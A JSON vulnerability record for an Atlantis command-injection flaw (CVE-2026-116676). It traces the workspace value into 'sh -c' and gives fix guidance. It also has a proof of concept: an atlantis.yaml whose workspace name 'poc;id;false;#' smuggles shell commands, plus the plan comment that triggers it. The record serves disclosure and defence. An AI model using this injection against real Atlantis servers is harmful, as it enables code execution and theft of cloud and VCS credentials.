{"id":"CVE-2026-116676","kind":"vulnerability","aliases":["CVE-2026-116676","GHSA-rjh2-4xgw-p2hj"],"related":[],"title":"Atlantis: OS command injection through PR-controlled Terraform workspace enables RCE during plan","description":"### Summary\n\nAtlantis passes the Terraform `workspace` value from a pull request's `atlantis.yaml` into a shell command without quoting or escaping it.\n\nA contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name and execute arbitrary commands as the Atlantis service account. This does not require custom workflows, `allow_custom_workflows`, or permission to run `terraform apply`.\n\nThe executed command inherits the Atlantis process environment, which commonly contains cloud-provider, Terraform, and VCS credentials.\n\n### Details\n\nVerified against current `upstream/main` commit `92ce5c51d1a050357e44df3535483425e59fa984` on August 13, 2026.\n\nThe vulnerable data flow is:\n\n1. The PR-controlled project workspace is validated in [`server/core/config/raw/project.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/config/raw/project.go#L139-L149).\n\n   Validation rejects only `..`, `/`, and `\\`. Shell metacharacters such as `;`, `#`, `$`, redirections, and whitespace remain permitted.\n\n2. The workspace is passed directly as a Terraform command argument in [`server/core/runtime/workspace_step_runner_delegate.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/runtime/workspace_step_runner_delegate.go#L86-L96):\n\n   ```go\n   []string{workspaceCmd, \"select\", ctx.Workspace}\n   ```\n\n3. Terraform arguments are concatenated into a single string using `strings.Join(args, \" \")` in [`server/core/terraform/tfclient/terraform_client.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/terraform/tfclient/terraform_client.go#L451-L468):\n\n   ```go\n   tfCmd := fmt.Sprintf(\"%s %s\", binPath, strings.Join(args, \" \"))\n   ```\n\n4. The resulting string is executed through `sh -c` in [`server/core/terraform/tfclient/terraform_client.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/terraform/tfclient/terraform_client.go#L416-L427):\n\n   ```go\n   cmd := exec.Command(\"sh\", \"-c\", tfCmd)\n   ```\n\nConsequently, a workspace such as:\n\n```text\npoc;id;false;#\n```\n\nproduces commands equivalent to:\n\n```sh\nterraform workspace select poc;id;false;#\nterraform workspace new poc;id;false;#\n```\n\n`raw.Project.Validate()` was confirmed to return no error for this workspace value.\n\nAtlantis documents that planning untrusted Terraform can already be dangerous because providers and external data sources execute code. The distinct issue here is that an ordinary project configuration field becomes shell source, bypassing the explicit `allow_custom_workflows` control and requiring no malicious provider, external data source, custom workflow, or apply operation.\n\nThe primary remediation should be to execute Terraform using an argument vector rather than constructing shell source—for example, `exec.Command(binaryPath, args...)`. Any required environment-variable expansion should be performed without invoking a shell. Strict workspace-name validation would also provide defense in depth.\n\n### PoC\n\nOnly reproduce this against a disposable Atlantis instance and test repository.\n\n#### Preconditions\n\n- Atlantis processes `atlantis.yaml` from the pull request branch.\n- The pull request is eligible to run `atlantis plan`.\n- For a fork pull request, the server must have `--allow-fork-prs` enabled. A same-repository branch does not require this flag.\n- No custom workflows or apply permissions are required.\n\n#### Repository contents\n\nCreate `main.tf`:\n\n```hcl\nterraform {\n  required_version = \">= 1.0\"\n}\n```\n\nCreate `atlantis.yaml`:\n\n```yaml\nversion: 3\nprojects:\n  - name: workspace-rce-poc\n    dir: .\n    workspace: \"poc;id;false;#\"\n    autoplan:\n      enabled: false\n```\n\nOpen a pull request containing these files and comment:\n\n```text\natlantis plan -p workspace-rce-poc\n```\n\n#### Expected result\n\nAtlantis first runs `terraform workspace select`. The injected `false` causes that command invocation to return an error, so Atlantis retries using `terraform workspace new`.\n\nOn both attempts, the shell executes `id` as a separate command. The second failure includes the combined command output in the Atlantis error response, exposing output similar to:\n\n```text\nuid=1000(atlantis) gid=1000(atlantis) groups=1000(atlantis)\n```\n\nThis demonstrates arbitrary shell-command execution without creating a custom workflow or reaching the apply phase.\n\nThe payload uses only `id` and `false` and does not access credentials, make network requests, or modify the host beyond Terraform potentially creating the disposable `poc` workspace.\n\n### Impact\n\nThis is an OS command injection vulnerability  resulting in remote code execution as the Atlantis service account.\n\nAffected deployments are those that:\n\n- Process pull-request-controlled `atlantis.yaml` project configuration; and\n- Permit the attacker-controlled pull request to trigger an Atlantis plan.\n\nPotential consequences include:\n\n- Reading and exfiltrating cloud-provider, Terraform, and VCS credentials inherited from the Atlantis process.\n- Accessing Terraform state, plan files, repository checkouts, caches, and other data available to the Atlantis user.\n- Modifying files or binaries accessible to the service account.\n- Making network requests using the Atlantis server's network identity.\n- Pivoting into infrastructure accessible through the server's credentials or network placement.\n\nFor public repositories, arbitrary external contributors are directly exposed when `--allow-fork-prs` is enabled. Without fork PR support, the vulnerable population includes users able to create eligible same-repository pull requests and attackers controlling such accounts.","summary":"Atlantis passes the workspace value from a pull request's atlantis.yaml into a shell command without escaping, so shell metacharacters execute. An authenticated contributor whose pull request is eligible for a plan can run arbitrary commands as the Atlantis service account and reach its cloud, Terraform and version-control credentials.","severity":"high","cvss":8.8,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/runatlantis/atlantis","fixed":["0.47.1"],"affected":">= 0.4.0, <= 0.47.0","ecosystem":"go"}],"ecosystems":["go"],"tags":["atlantis","cwe-78","infrastructure-as-code","runtime","self-hosted","terraform"],"not_affected_if":["managed-hosting","version-0.47.1-or-later"],"how_to_check":"- Check the running Atlantis version with `atlantis version`, or the image tag in your deployment, and see whether it is between `0.4.0` and `0.47.1`.\n- Note whether fork pull requests are accepted by checking for `--allow-fork-prs` in the Atlantis server flags; same-repository branches are exposed regardless.","fix":"- Upgrade Atlantis to `0.47.1` or later.\n- Until upgraded, restrict who can open pull requests that Atlantis will plan, and rotate cloud, Terraform and version-control credentials available to the Atlantis process if untrusted changes were planned.","status":"open","published_at":"2026-10-27T18:17:35+00:00","first_seen_at":"2026-10-27T18:32:59+00:00","triaged_at":"2026-10-27T18:34:26+00:00","updated_at":"2026-10-27T21:09:21+00:00","category":"runtime","confidence":0.8,"triage":{"at":"2026-10-27T18:34:26Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade Atlantis to `0.47.1` or later.\n- Until upgraded, restrict who can open pull requests that Atlantis will plan, and rotate cloud, Terraform and version-control credentials available to the Atlantis process if untrusted changes were planned.","reach":"internet","title":"Atlantis: pull request workspace name runs shell commands on server","impact":"high","summary":"Atlantis passes the workspace value from a pull request's atlantis.yaml into a shell command without escaping, so shell metacharacters execute. An authenticated contributor whose pull request is eligible for a plan can run arbitrary commands as the Atlantis service account and reach its cloud, Terraform and version-control credentials.","category":"runtime","nicknames":[],"who_cares":["atlantis","terraform","self-hosted","infrastructure-as-code"],"confidence":0.8,"needs_auth":"yes","worst_case":"Commands run as the Atlantis service account with its cloud credentials","analyst_note":"","how_to_check":"- Check the running Atlantis version with `atlantis version`, or the image tag in your deployment, and see whether it is between `0.4.0` and `0.47.1`.\n- Note whether fork pull requests are accepted by checking for `--allow-fork-prs` in the Atlantis server flags; same-repository branches are exposed regardless.","needs_analyst":false,"not_affected_if":["version-0.47.1-or-later","managed-hosting"],"who_is_affected":"Teams that self-host Atlantis to run Terraform plans from pull requests are affected, since the flaw lives in how the workspace value from atlantis.yaml reaches the shell. Anyone who can open a pull request Atlantis will plan, including same-repository branches, can trigger it; fork pull requests matter only if --allow-fork-prs is enabled. Teams on 0.47.1 or later, or not running Atlantis, can skip it.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.000701,"input_tokens":3530,"output_tokens":696,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-116676':17A,25A '-2026':16A,24A '-78':31B '/runatlantis/atlantis':28A '/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/config/raw/project.go#l139-l149).':204C '/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/runtime/workspace_step_runner_delegate.go#l86-l96):':233C '/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/terraform/tfclient/terraform_client.go#l416-l427):':277C '/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/terraform/tfclient/terraform_client.go#l451-l468):':255C '1':191C '1.0':489C '13':184C '2':218C '2026':185C '3':239C,494C '4':264C '4xgw':21A '92ce5c51d1a050357e44df3535483425e59fa984':181C 'account':81B,141C 'allow':148C,356C,459C 'allow-fork-pr':458C 'alreadi':328C 'also':414C 'appli':156C,371C,477C 'arbitrari':75B,135C 'arg':250C,263C,394C 'argument':228C,241C,383C 'atlanti':1A,29B,41B,79B,93C,123C,139C,162C,321C,426C,432C,447C,519C,528C 'atlantis.yaml':51B,104C,434C,491C 'august':183C 'authent':63B 'autoplan':506C 'becom':350C 'binarypath':393C 'binpath':261C 'branch':439C,467C 'bypass':353C 'c':272C,282C 'cloud':85B,169C 'cloud-provid':168C 'cmd':279C 'code':35B,338C 'command':3A,55B,76B,108C,136C,159C,227C,294C 'comment':517C 'commit':180C 'common':166C 'concaten':243C 'configur':348C 'confirm':312C 'consequ':284C 'construct':387C 'contain':167C,513C 'content':482C 'contributor':64B,115C 'control':8A,90B,195C,359C 'creat':483C,490C 'credenti':91B,174C 'ctx.workspace':238C 'current':178C 'custom':146C,149C,357C,368C,474C 'cve':15A,23A 'cwe':30B 'danger':330C 'data':188C,335C,366C 'defens':416C 'depth':418C 'detail':175C 'dir':501C 'direct':223C 'dispos':425C 'distinct':340C 'document':322C 'elig':69B,120C,444C 'enabl':11A,462C,507C 'environ':164C,398C 'environment-vari':397C 'equival':295C 'error':316C 'escap':57B,112C 'exampl':391C 'exec.command':280C,392C 'execut':61B,134C,158C,269C,337C,379C 'expans':400C 'expect':526C 'explicit':355C 'extern':334C,365C 'fals':292C,303C,309C,505C,508C 'field':349C 'file':515C 'first':529C 'flag':472C 'flow':189C 'fmt.sprintf':258C 'fork':451C,460C 'ghsa':19A 'ghsa-rjh2-4xgw-p2hj':18A 'github.com':27A,203C,232C,254C,276C 'github.com/runatlantis/atlantis':26A 'github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/config/raw/project.go#l139-l149).':202C 'github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/runtime/workspace_step_runner_delegate.go#l86-l96):':231C 'github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/terraform/tfclient/terraform_client.go#l416-l427):':275C 'github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/terraform/tfclient/terraform_client.go#l451-l468):':253C 'go':234C,256C,278C 'hcl':485C 'host':39B 'id':291C,302C,308C,504C 'includ':126C 'infrastructur':33B 'infrastructure-as-cod':32B 'inherit':160C 'inject':4A 'instanc':427C 'invok':405C 'issu':341C 'main.tf':484C 'malici':363C 'metacharact':60B,128C,210C 'must':456C 'name':132C,411C,496C 'new':306C 'open':509C 'oper':372C 'ordinari':346C 'os':2A 'p':521C 'p2hj':22A 'pass':42B,94C,222C 'perform':403C 'permiss':152C,478C 'permit':217C 'plan':14A,72B,124C,324C,448C,520C 'poc':290C,301C,307C,419C,500C,503C,525C 'pr':7A,194C 'pr-control':6A,193C 'precondit':431C 'primari':374C 'process':163C,433C 'produc':293C 'project':196C,347C,495C 'provid':170C,332C,364C,415C 'prs':461C 'pull':48B,66B,101C,117C,437C,441C,452C,511C 'quot':110C 'rather':385C 'raw.project.validate':310C 'rce':12A,499C,524C 'reach':83B 'redirect':213C 'reject':206C 'remain':216C 'remedi':375C 'repositori':430C,466C,481C 'reproduc':421C 'request':49B,67B,102C,118C,438C,442C,453C,512C 'requir':145C,361C,396C,470C,480C,487C 'result':266C,527C 'return':314C 'rjh2':20A 'run':74B,154C,446C,530C 'runtim':36B 'same-repositori':464C 'select':237C,300C,533C 'self':38B 'self-host':37B 'server':455C 'server/core/config/raw/project.go':201C 'server/core/runtime/workspace_step_runner_delegate.go':230C 'server/core/terraform/tfclient/terraform_client.go':252C,274C 'servic':80B,140C 'sh':271C,281C,297C 'shell':54B,59B,107C,127C,209C,351C,388C,407C 'singl':246C 'sourc':336C,352C,367C,389C 'strict':408C 'string':235C,247C,267C 'strings.join':249C,262C 'summari':92C 'terraform':9A,40B,86B,96C,155C,171C,226C,240C,298C,304C,326C,380C,486C,531C 'test':429C 'text':289C,518C 'tfcmd':257C,283C 'untrust':325C 'upstream/main':179C 'use':248C,381C 'valid':199C,205C,412C 'valu':45B,98C,320C 'variabl':399C 'vcs':173C 'vector':384C 'verifi':176C 'version':89B,488C,493C 'version-control':88B 'vulner':187C 'whitespac':215C 'whose':65B,116C 'without':56B,109C,404C 'workflow':147C,150C,358C,369C,475C 'workspac':10A,44B,97C,131C,197C,220C,286C,299C,305C,319C,410C,498C,502C,523C,532C 'workspace-nam':409C 'workspace-rce-poc':497C,522C 'workspacecmd':236C 'would':413C 'yaml':492C","nicknames":[],"mitigations":[],"who_affected":"Teams that self-host Atlantis to run Terraform plans from pull requests are affected, since the flaw lives in how the workspace value from atlantis.yaml reaches the shell. Anyone who can open a pull request Atlantis will plan, including same-repository branches, can trigger it; fork pull requests matter only if --allow-fork-prs is enabled. Teams on 0.47.1 or later, or not running Atlantis, can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-27T18:17:35+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"nvd","external_id":"CVE-2026-116676","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116676","severity":null,"published_at":"2026-10-27T18:17:35+00:00","modified_at":"2026-10-27T18:17:35+00:00","first_seen_at":"2026-10-27T18:32:59+00:00","fetched_at":"2026-10-27T18:32:59+00:00","note":null},{"source":"ghsa","external_id":"GHSA-rjh2-4xgw-p2hj","url":"https://github.com/advisories/GHSA-rjh2-4xgw-p2hj","severity":"high","published_at":"2026-10-27T21:04:50+00:00","modified_at":"2026-10-27T21:04:50+00:00","first_seen_at":"2026-10-27T21:09:21+00:00","fetched_at":"2026-10-27T21:09:21+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}